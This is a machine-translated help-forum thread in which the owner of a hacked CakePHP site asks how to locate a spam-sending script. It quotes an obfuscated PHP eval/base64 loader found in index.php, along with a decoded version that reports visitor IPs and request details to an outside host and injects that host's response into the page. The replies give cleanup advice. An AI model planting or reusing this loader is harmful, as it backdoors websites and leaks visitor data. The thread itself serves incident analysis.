可能重复：
我的服务器被黑了应急
所以基本上我的网站被黑客攻击，一个脚本每天发送超过400封电子邮件。 我有超过100个文件在服务器上，有没有什么快速的方法来检查，从哪个文件确切地发送？ 我不知道脚本何时发送邮件，所以我不能确定从哪个文件中调用。 有没有简单的方法来找出从哪个文件发送？
eval(gzuncompress(base64_decode('eF6Nkw9rozAYxr+Kk6EGyuh2f+CQcFdW297h7BZ17ChDokbNNZpi4na70u9+0WvXdnfFA8Hk5fc8Sd4noZl1RoUg0joXiMj6BYB1zniMmbYt2Ns/vFSjUJB6lJNKQiFryRl/JrV1HvkOunfQwpwFwW0Uqlk0mjpeYD4CpZHXTc1muEoZgV7ouruSS6sl1HWbZpal3NRnHSwwMHPOc0ZMAKGWYSYIMIx/ci+44LwfizFNm36sFFU/xFekxv1YUtS8/I8TxLTK+ymBM1zTfi7m8gACa9XfbcKvOSHnZh440Wg8Riojxcq6IZphaG/BLtDZ3A/2GFgf5hdjQT6+j1KS8JRYJp6hYTLmT+7VZJmW9z/iqw8lfvgm3dJ7iv1Pv9LpZOi+84bfH+6aZFo8m0C7MD/TFTS1C2VJqs7m1EYVazTqoLi7gceSfQc6LOUlplWFS3LK+vBorSJrGFthWZzeyl3o+EEUoq9bRVKQZNniu65NnWBhMs6Xf1/8RA0jWtH2nb12D9ibjUrniNTOVJ/bZwLWnUY585U8ZgbXIXLnt0GEnCBEXoBGnj9x0OASdI9VNEzCL52a/CTJsRbY3Yp/qMXwEUJ9rreZ7iu6ptskKbi2K9qbzixhXJC3bpvNbzILaXQ='))); ?> 这在index.php文件中find
我的网站使用的是CakePHP，那么默认情况下它可以在那里？
在这里，我解开了你的代码：
if(!isset($sRetry)){ global $sRetry; $sRetry=1; $sUserAgent=strtolower($_SERVER['HTTP_USER_AGENT']); $stCurlHandle=NULL; $stCurlLink=""; if((strstr($sUserAgent,'google')== false)&&(strstr($sUserAgent,'yahoo')== false)&&(strstr($sUserAgent,'baidu')== false)&&(strstr($sUserAgent,'msn')== false)&&(strstr($sUserAgent,'opera')== false)&&(strstr($sUserAgent,'chrome')== false)&&(strstr($sUserAgent,'bing')== false)&&(strstr($sUserAgent,'safari')== false)&&(strstr($sUserAgent,'bot')== false)){if(isset($_SERVER['REMOTE_ADDR'])== true && isset($_SERVER['HTTP_HOST'])== true){ $stCurlLink=base64_decode('aHR0cDovL2FkdmVjb25maXJtLmNvbS9zdGF0L3N0YXQucGhw') .'ip=' .urlencode($_SERVER['REMOTE_ADDR']) .'&useragent=' .urlencode($sUserAgent) .'&domainname=' .urlencode($_SERVER['HTTP_HOST']) .'&fullpath=' .urlencode($_SERVER['REQUEST_URI']) .'&check=' .isset($_GET['look']);$stCurlHandle=curl_init($stCurlLink);}}if($stCurlHandle !== NULL){curl_setopt($stCurlHandle,CURLOPT_RETURNTRANSFER,1);$sResult=@curl_exec($stCurlHandle);if($sResult[0]=="O"){$sResult[0]=" ";echo $sResult;}curl_close($stCurlHandle); } }
$ stCurlLink最终成为http://adveconfirm.com/stat/stat.php 。 我build议从页面中删除代码并修补find的任何漏洞。 看看你的日志，看看谁访问了哪些页面以及发送了什么数据。
一定要阅读这个话题 。 最好的办法是从备份恢复。 当你这样做的时候，试着找出他们是怎么进来的。你的代码可能有缺陷，所以你需要手工评估每一个文件，以find你的代码不安全的地方。 请参阅OWASP以获取保护Web应用程序的最佳实践。
您也可以使用FTP下载所有的文件，使用Notepad ++打开所有的文件，并search所有页面的“mail（”，这应该告诉你邮件脚本在你的站点的位置，同时要注意万一有病毒的黑客s）添加到您的网站。